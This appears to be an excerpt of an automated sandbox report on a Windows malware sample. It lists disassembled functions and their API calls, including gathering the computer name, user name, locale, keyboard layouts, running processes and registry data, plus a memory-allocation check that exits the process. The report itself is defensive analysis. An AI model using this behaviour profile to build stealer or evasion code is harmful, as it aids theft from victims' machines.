Strings

!=/, xrefs: 002F3C82

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=/
API String ID: 3840410801-133660706
Opcode ID: e8ab542afc2d3be559cd0680872d8fb5c0a787d0456505ab7c86517dc4fad0f7
Instruction ID: 33cc03a6ab10285a0bde0f6cde0a762593ebeb061ce871548d6694913acef82f
Opcode Fuzzy Hash: e8ab542afc2d3be559cd0680872d8fb5c0a787d0456505ab7c86517dc4fad0f7
Instruction Fuzzy Hash: FED0123155010D9BCB20EF90DD489B97378DF64341F0041D8B90E96110EB359B559F51

Function 002F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002F6A2B), ref: 002F7910
HeapAlloc.KERNEL32(00000000,?,?,?,002F6A2B), ref: 002F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: c879f3ea6836ccb71e6dbc283007c906c473cf335312c7464acdf630838fbadf
Instruction ID: 802eaad19d275122f0de81aeab20040e350abb8a5b314a7e7f89ba97bcfec2c3
Opcode Fuzzy Hash: c879f3ea6836ccb71e6dbc283007c906c473cf335312c7464acdf630838fbadf
Instruction Fuzzy Hash: BF01A4B1A14209EFC714DF98DD45FAEFBB8FB05B61F10422AFA45E3280C7B459048BA1

Function 6C5D3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5D3095

Part of subcall function 6C5D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
Part of subcall function 6C5D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
Part of subcall function 6C5D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
Part of subcall function 6C5D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
Part of subcall function 6C5D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
Part of subcall function 6C5D35A0: __aulldiv.LIBCMT ref: 6C5D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D309F

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5D30BE

Part of subcall function 6C5D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5D3127
Part of subcall function 6C5D30F0: __aulldiv.LIBCMT ref: 6C5D3140

Part of subcall function 6C60AB2A: __onexit.LIBCMT ref: 6C60AB30

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction ID: e0fec6d3bf2052893f8e5edae1787bd2b5a156a3c28f95b416bc85970485bd60
Opcode Fuzzy Hash: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction Fuzzy Hash: 7CF0F922E2074896CB14DF358DC11E67370AFAB114FA15319E88463591FB2065D883CF

Function 002F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 002F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 002F94A5
CloseHandle.KERNEL32(00000000), ref: 002F94AF

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 9019aa9f2e112b55a66800d37d2d843d61e44f13c1f77227ab711c106f2a507b
Instruction ID: 960a25a9e9e5a0b804dea6745960241e46f2d488845bce2b8fd467524d58587c
Opcode Fuzzy Hash: 9019aa9f2e112b55a66800d37d2d843d61e44f13c1f77227ab711c106f2a507b
Instruction Fuzzy Hash: 8CF05E7490020CFBDB14EFA4DC4AFEDB778EB08700F004498BB1997290D6B06E86DB91

Function 002E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,002F6A1C), ref: 002E112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,002F6A1C), ref: 002E1132
ExitProcess.KERNEL32 ref: 002E1143

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 569e5952d087f016d65940ff5a90562dab1c2c9210a960a4ee55a29c48da4b17
Instruction ID: 436ece861a776031da1d2d1d67c052b88d373db0c90b54affc498694ff39852f
Opcode Fuzzy Hash: 569e5952d087f016d65940ff5a90562dab1c2c9210a960a4ee55a29c48da4b17
Instruction Fuzzy Hash: DFE08670995348FBE7206BA1DC0AB0C7678EF15B01F500054F709BA1C0C6B42615AA99

Function 002F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 002F7542
Part of subcall function 002F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002F757F
Part of subcall function 002F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7603
Part of subcall function 002F7500: HeapAlloc.KERNEL32(00000000), ref: 002F760A

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F76A4
Part of subcall function 002F7690: HeapAlloc.KERNEL32(00000000), ref: 002F76AB

Part of subcall function 002F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,002FDBC0,000000FF,?,002F1C99,00000000,?,01660918,00000000,?), ref: 002F77F2
Part of subcall function 002F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,002FDBC0,000000FF,?,002F1C99,00000000,?,01660918,00000000,?), ref: 002F77F9

Part of subcall function 002F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002E11B7), ref: 002F7880
Part of subcall function 002F7850: HeapAlloc.KERNEL32(00000000,?,?,?,002E11B7), ref: 002F7887
Part of subcall function 002F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 002F789F

Part of subcall function 002F78E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002F6A2B), ref: 002F7910
Part of subcall function 002F78E0: HeapAlloc.KERNEL32(00000000,?,?,?,002F6A2B), ref: 002F7917
Part of subcall function 002F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 002F792F

Part of subcall function 002F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00300E00,00000000,?), ref: 002F79B0
Part of subcall function 002F7980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00300E00,00000000,?), ref: 002F79B7
Part of subcall function 002F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00300E00,00000000,?), ref: 002F79C4
Part of subcall function 002F7980: wsprintfA.USER32 ref: 002F79F3

Part of subcall function 002F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000), ref: 002F7A63
Part of subcall function 002F7A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000,?), ref: 002F7A6A
Part of subcall function 002F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000,?), ref: 002F7A7D

Part of subcall function 002F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,016603D8,00000000,?,00300E10,00000000,?,00000000,00000000), ref: 002F7B35

Part of subcall function 002F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,003005AF), ref: 002F7BE1
Part of subcall function 002F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 002F7BF9
Part of subcall function 002F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 002F7C0D
Part of subcall function 002F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 002F7C62
Part of subcall function 002F7B90: LocalFree.KERNEL32(00000000), ref: 002F7D22

Part of subcall function 002F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 002F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,01660BB8,00000000,?,00300E24,00000000,?,00000000,00000000,?,016603A8,00000000,?,00300E20,00000000), ref: 002F207E

Part of subcall function 002F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 002F9484
Part of subcall function 002F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 002F94A5
Part of subcall function 002F9470: CloseHandle.KERNEL32(00000000), ref: 002F94AF

Part of subcall function 002F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7E37
Part of subcall function 002F7E00: HeapAlloc.KERNEL32(00000000), ref: 002F7E3E
Part of subcall function 002F7E00: RegOpenKeyExA.KERNEL32(80000002,01658200,00000000,00020119,?), ref: 002F7E5E
Part of subcall function 002F7E00: RegQueryValueExA.KERNEL32(?,016608F8,00000000,00000000,000000FF,000000FF), ref: 002F7E7F
Part of subcall function 002F7E00: RegCloseKey.ADVAPI32(?), ref: 002F7E92

Part of subcall function 002F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 002F7FC9
Part of subcall function 002F7F60: GetLastError.KERNEL32 ref: 002F7FD8

Part of subcall function 002F7ED0: GetSystemInfo.KERNEL32(00300E2C), ref: 002F7F00
Part of subcall function 002F7ED0: wsprintfA.USER32 ref: 002F7F16

Part of subcall function 002F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0165FD30,00000000,?,00300E2C,00000000,?,00000000), ref: 002F8130
Part of subcall function 002F8100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,0165FD30,00000000,?,00300E2C,00000000,?,00000000,00000000), ref: 002F8137
Part of subcall function 002F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 002F8158
Part of subcall function 002F8100: __aulldiv.LIBCMT ref: 002F8172
Part of subcall function 002F8100: __aulldiv.LIBCMT ref: 002F8180
Part of subcall function 002F8100: wsprintfA.USER32 ref: 002F81AC

Part of subcall function 002F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00300E28,00000000,?), ref: 002F882F
Part of subcall function 002F87C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00300E28,00000000,?), ref: 002F8836
Part of subcall function 002F87C0: wsprintfA.USER32 ref: 002F8850

Part of subcall function 002F8320: RegOpenKeyExA.KERNEL32(00000000,0165DD18,00000000,00020019,00000000,003005B6), ref: 002F83A4

Part of subcall function 002F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 002F8426
Part of subcall function 002F8320: wsprintfA.USER32 ref: 002F8459
Part of subcall function 002F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 002F847B
Part of subcall function 002F8320: RegCloseKey.ADVAPI32(00000000), ref: 002F848C
Part of subcall function 002F8320: RegCloseKey.ADVAPI32(00000000), ref: 002F8499

Part of subcall function 002F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003005B7), ref: 002F86CA
Part of subcall function 002F8680: Process32First.KERNEL32(?,00000128), ref: 002F86DE
Part of subcall function 002F8680: Process32Next.KERNEL32(?,00000128), ref: 002F86F3
Part of subcall function 002F8680: CloseHandle.KERNEL32(?), ref: 002F8761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 002F265B

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2204142833-0
Opcode ID: 288d5e1fe9a0565fc6fbbe48f3c63fff5c34fa34f2614022fbabbdb94dfea488
Instruction ID: 6f6a6a79294611b666d7bb3076c34878366a337044169432c84d53f33e4ca0b2
Opcode Fuzzy Hash: 288d5e1fe9a0565fc6fbbe48f3c63fff5c34fa34f2614022fbabbdb94dfea488
Instruction Fuzzy Hash: DF7231B182111DAADB19F750DC92DFEF338AF14780F5082B9B21B62095DF702B59CE65

Function 002F3C90 Relevance: 3.1, APIs: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 002F3CAB

Part of subcall function 002F38B0: wsprintfA.USER32 ref: 002F38CC
Part of subcall function 002F38B0: FindFirstFileA.KERNEL32(?,?), ref: 002F38E3

strtok_s.MSVCRT ref: 002F3D52

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
